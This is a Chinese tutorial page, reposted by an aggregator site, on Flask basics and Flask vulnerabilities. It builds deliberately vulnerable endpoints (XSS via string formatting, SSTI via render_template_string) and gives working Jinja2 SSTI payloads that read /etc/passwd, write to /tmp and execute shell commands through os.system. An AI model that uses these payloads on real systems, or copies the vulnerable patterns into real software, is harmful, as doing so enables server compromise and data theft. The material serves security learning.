首页 / PYTHON / Python——flask漏洞探究

Python——flask漏洞探究

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了Python——flask漏洞探究，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含5409字，纯文字阅读大概需要8分钟。

内容图文

python的用途是真的多,就连网站也能做,这个有点像Java的Servlet

flask基础

hello world

我们先从基础的开始，在网页上打出hello world，python代码如下:

        from flask import Flask

app=Flask(__name__)

@app.route('/')
def test():
    return 'hello world'

其中@app.route就有点类似于Java的@WebServlet了,上述代码中，当你在浏览器访问127.0.0.1:5000/时就能够看到输出了，5000是flask的默认端口

技术分享图片

模板

flask使用的渲染引擎是Jinja2，我们可以直接return一些HTML代码来实现网页的格式化，但是这样会导致XSS漏洞，如下

        from flask import Flask,render_template,request,render_template_string

app=Flask(__name__)

@app.route('/',methods=['GET','POST'])
def test():
    code = request.args.get('test')
    html = '<html>%s</html>'
    return html%code

methods传参表示/仅接受GET,POST类型的传参，这里我们接受了名为test的GET传参然后替换了html中的%s，当我们在网页中传参<script>alert(1)</script>就可以看到引起了XSS注入

技术分享图片

render_template_string

为了避免XSS，可以使用render_tempplate_string对输入的文本进行渲染，代码如下

        from flask import Flask,render_template,request,render_template_string

app=Flask(__name__)

@app.route('/',methods=['GET','POST'])
def test():
    html='<html>{{var}}<html>'
    test = request.args.get('test')
    return render_template_string(html,var=test)

{{}}为变量包裹标示符，在render_template_string传参即可替换{{var}}为GET传参变量test，再次进行XSS实验，可以看到已经被转义了

技术分享图片

render_template

在py文件中写HTML有点麻烦，不直观。在flask中就有一种叫做模板的东西，我们可以借助render_template从templates文件夹中加载我们想要的html文件，然后对里面的内容进行修改输出。首先我在templates中放入这样的一个index.html:

        <!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
    <h1>this is template html file</h1>
    <p>get var {{var}}<p>
</body>
</html>

index.py代码如下:

        from flask import Flask,render_template

app=Flask(__name__)

@app.route('/')
def test():
    return render_template('index.html',var="test")

可以理解为我使用render_template函数引用了templates文件夹下面的index.html模板，然后传入一个参数var，用来控制模板中的{{var}}，我们再到浏览器中看看

技术分享图片

可以看到{{var}}已经被替换成了test，当我们传入XSS语句时是不会执行的，他同样会自动渲染

技术分享图片

SSTI文件读取/命令执行

SSTI(Server-Side Template Injection) 服务端模板注入，就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板，Web应用可以把输入转换成特定的HTML文件或者email格式

在Jinja2引擎中，{{}}不仅仅是变量标示符，也能执行一些简单的表达式，产生该漏洞的代码如下

        from flask import Flask,render_template,request,render_template_string

app=Flask(__name__)

@app.route('/',methods=['GET','POST'])
def test():
    code = request.args.get('test')
    html = '<html>%s</html>'%code
    return render_template_string(html)

当我们传入?test={{7*7}}，神奇的事情发生了

技术分享图片

接下来我在演示介绍一下如何利用这个漏洞实现文件读写和命令执行，其大致思路如下

        找到父类<type 'object'>–>寻找子类 __subclasses__()–>找关于命令执行或者文件操作的模块

读取文件

获取’‘的类对象

        >>> ''.__class__
<type 'str'>

追溯继承树

        >>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

可以看到object已经出来了

继而向下查找object的子类

        ''.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

耐心找一下，可以找到第40个为<type> ‘file‘

执行命令

        ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

执行完这条命令就能得到passwd文件了

写入文件

写入文件的方法和上面类似

        ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1','w').write('123')

执行命令

执行命令有很多种方法，这里要找的是<class ‘site._Printer‘>，找一下，在第71个，那么我们执行命令

        ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')

这样就可以加载到os模块并执行ls命令，命令执行结果方法不唯一，payload也不一定一致，但思路大体就是这样了

原文：https://www.cnblogs.com/Rasang/p/12181654.html

内容总结

以上是互联网集市为您收集整理的Python——flask漏洞探究全部内容，希望文章能够帮你解决Python——flask漏洞探究所遇到的程序开发问题。如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容，请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/1078748.html

来源：【匿名】

【上一篇】python简单方法判断三个数能否组成三角形【下一篇】浅谈PHP运行Python脚本的方法

更多 ►

【Python——flask漏洞探究】教程文章相关的互联网学习教程文章

Flask(python)异步（ajax）返回json格式数据【代码】【图】

主要讨论两个问题，第一个是关于json.dumps 与jsonify区别，第二个是几种异步的区别（见jQuery中的$.getJSON、$.ajax、$.get、$.post的区别）。json.dumps()和jsonify()的区别使用方法不同：dumps和loads方法，来自json模块，而json模块是python中的，可以直接导入：import json而jsonify是flask封装的扩展包from flask import jsonify作用不同：①dumps()和loads()json.dumps()：把字典转成json字符串，json.loads()：把json字符串...

Flask --- Python的另一个轻量级Web框架【代码】

Flask是Python中的另一个轻量级Web框架, 在github上有接近15000的star. github地址为Flask 其用法跟Bottle非常类似, 有兴趣可以参考Bottle—Python的轻量级http server.# -*- coding: utf-8 -*-#!/usr/bin/pythonfrom flask import Flask, jsonifyapp = Flask(__name__)@app.route(‘/‘)defindex():return‘index‘#使用<user>传递参数@app.route(‘/hello/<user>‘)defhello_get(user):return‘hello get %s‘ % user#使用POST请...

python web开发之flask框架学习(2) 加载模版【图】

上次学习了flask的helloword项目的创建，这次来学习flask项目的模版加载:第一步：创建一个flask项目第二步:在项目目录的templates文件夹下创建一个html文件第三步: 加载模版文件这里会用到flask包下的一个模版渲染器render_template因此要倒入这个render_template 第四步:运行项目就可以看到模版加载的效果了以上就是flask框架的模版加载学习了，有什么问题欢迎留言! 简书地址: Code人生原文：https://www.cnblogs.com/zzjbk/...

以Flask为例讲解Python的框架的使用方法【代码】

了解了WSGI框架，我们发现：其实一个Web App，就是写一个WSGI的处理函数，针对每个HTTP请求进行响应。但是如何处理HTTP请求不是问题，问题是如何处理100个不同的URL。每一个URL可以对应GET和POST请求，当然还有PUT、DELETE等请求，但是我们通常只考虑最常见的GET和POST请求。一个最简单的想法是从environ变量里取出HTTP请求的信息，然后逐个判断： def application(environ, start_response):method = environ[‘REQUEST_METHOD‘]...

Python---Flask--03--SQLAlchemy【代码】

大多数的数据库引擎都有对应的 Python 包，包括开源包和商业包。Flask 并不限制你使用何种类型的数据库包，因此可以根据自己的喜好选择使用 MySQL、Postgres、SQLite、Redis、MongoDB 或者 CouchDB。如果这些都无法满足需求，还有一些数据库抽象层代码包供选择，例如 SQLAlchemy 和MongoEngine。你可以使用这些抽象包直接处理高等级的 Python 对象，而不用处理如表、文档或查询语言此类的数据库实体。使用Flask-SQLAlchemy管理数据...

从0开始使用python flask编写博客网站(2)【代码】

好了上一篇文章中搭建好了完整的框架，以及可以访问一个“hello world”页面了。现在继续完善我们的博客程序。1.如法炮制，继续完善error和admin的路由。首先写把404和500的网页写好放到templates/errors中。然后在error的文件夹中新建handlers.py 文件，在这里写错误的路由from flask import render_template from app.errors import bp@bp.app_errorhandler(404) def not_found_error(error):return render_template("errors/404...

初识Flask——基于python的web框架【代码】【图】

参考教程链接：1.https://dormousehole.readthedocs.io/en/latest/2.https://www.w3cschool.cn/flask/ 前提准备：anaconda（python3），pycharm一、写一个hello.pyfrom flask import Flask app = Flask(__name__)@app.route(‘/‘) def hello_world():return‘Hello World’if__name__ == ‘__main__‘:app.run()解释：1.@app.route(‘/‘)说明了下面的hello_world()函数与url‘/‘绑定(http://127.0.0.1:5000/)运行该hello.py，点...

Python-基于flask的接口框架【代码】

Python-基于flask的接口框架?Flask是一个Python编写的Web 微框架，让我们可以使用Python语言快速实现一个网站或Web服务。本文参考自Flask官方文档，大部分代码引用自官方文档。安装flask首先我们来安装Flask。最简单的办法就是使用pip。pip install flask然后打开一个Python文件，输入下面的内容并运行该文件。然后访问localhost:5000，我们应当可以看到浏览器上输出了hello world。from flask import Flaskapp = Flask(__name__)?...

Python Flask 实现移动端接口 —— 干货【代码】【图】

目前，Web 应用已形成一种趋势：业务逻辑被越来越多地移到客户端，逐渐完善为一种称为富互联网应用(RIA，rich Internet application)的架构。在 RIA 中，服务器的主要功能 (有时是唯一功能)是为客户端提供数据存取服务。在这种模式中，服务器变成了 Web 服务或应用编程接口(API，application programming interface)。　　Flask 是开发 REST架构（RIA 采用的一种与 Web 服务通信的协议） Web 服务的理想框架，因为 Flask 天生轻量...

python+flask+html/css+mysql+BAE 打造CSDN简历自动生成系统（附网站完全源码）【图】

1.背景一直想自己动手写个web app玩玩，前几天看了一个github的resume自动生成的web-app，所以就动手仿造了一个csdn的简历生成器。结构很简单，前端是html/css文件（这个模仿了github的那个网页，因为博主不太懂前端）。后台是一个爬虫软件，可以把csdn的个人信息爬下来，然后显示出来，最后部署到了百度云。百度的云数据库，真是坑爹.......，我调试了半天，目前还无法insert数据。好了，先上个图，项目地址http://resumec...

Python+Flask+MysqL的web建设技术过程【代码】【图】

1. 个人学期总结第一次接触Python，在不了解Python的情况下，基础又差，望而生畏，一开始就给自己打了个叉。然而，通过前期turtle库的学习，我发现这门语言似乎很有趣，用其他语言要写好几十行的代码，用Python语言只要十几二十行的代码就能实现，它的turtle库很简单地用一些条件、循环、函数定义，就能画出漂亮的图案，像五角星、同心圆、太阳花、中国国旗这些图案，我才发觉这是一门多么简洁实用又功能强大的语言。有了开...

CentOS6.7+Python+Flask开发框架部署

系统环境： CentOS6.7的Base service版本。软件包提供：官方下载软件包版本：Readline-devel: yum安装openssl and openssl-devel: yum安装Python： Python-2.7.6.tar.xzipython： ipython-1.2.1.tar.gzSetuptools： setuptools-20.3.1.tar.gzpip: pip-8.1.1.tar.gzvirtualenv: virtualenv-15.0.1.tar.gzWerkzeug WSGI: Werkzeug-0.11.5.tar.gzJinja2: Jinja2-2.8.tar.gz Flask： Flask-0.10.1.tar.gz1.安装python和ipython依赖包：...

python_flask 注册，登陆，退出思路 ---纯个人观点

1注册逻辑首先查询数据库用户名并判断用户是否存在，如不存在就插入数据并返回响应给前端2前端模板获取注册信息判断用户名不能为空及密码不能为空，和密码不一致拼接注册url 组成get获取对象响应数据并判断如该用户名已存在注册成功并跳转到登陆页面 window.location.href="/login"3首先登陆页面验证逻辑get 读取数据库并判断注册值是否存在4在前段模板获取注册值并拼接成url 组成get获取对象响应数据判断不存...

python库--flask--创建嵌套蓝图【代码】

这里没有对内容进行py文件分割, 可以自己根据框架自己放入对应位置以下代码生成一个 /v1/myapp/test 的路由from flask import Flask app = Flask(__name__)from flask import Blueprint # 二级蓝图 myapp = Blueprint('v1/myapp', __name__) @myapp.route("/test", methods=["GET"]) def test():passfrom flask import Blueprint class NestableBlueprint(Blueprint):def register_blueprint(self, blueprint, **options):def defe...

Django和Flask框架有什么区别?Python学习分享

学习Python的过程中，Django框架和Flask框架是比较常见的，各具有非常优异的表现，因此很多人就会问Django和Flask框架有什么区别?该如何选择?我们来看看吧。Django和Flask框架有什么区别?　　Flask：能够实现简单、灵活和细致的控制，并且能让你决定实现方式;　　Django：提供了全面的体验，你可以获得管理面板、数据库接口、ORM以及开箱即用的应用程序和项目的目录结构。　　Django和Flask框架如何选择?　　Flask：如果你比较重视...

首页 / PYTHON / Python——flask漏洞探究

Python——flask漏洞探究

内容导读

内容图文

flask基础

hello world

模板

render_template_string

render_template

SSTI文件读取/命令执行

读取文件

写入文件

执行命令

内容总结

内容备注

内容手机端

【Python——flask漏洞探究】教程文章相关的互联网学习教程文章

FLASK - 相关标签

漏洞 - 相关标签

PYTHON - 技术教程分类

PYTHON - 最新教程

PYTHON - 最热教程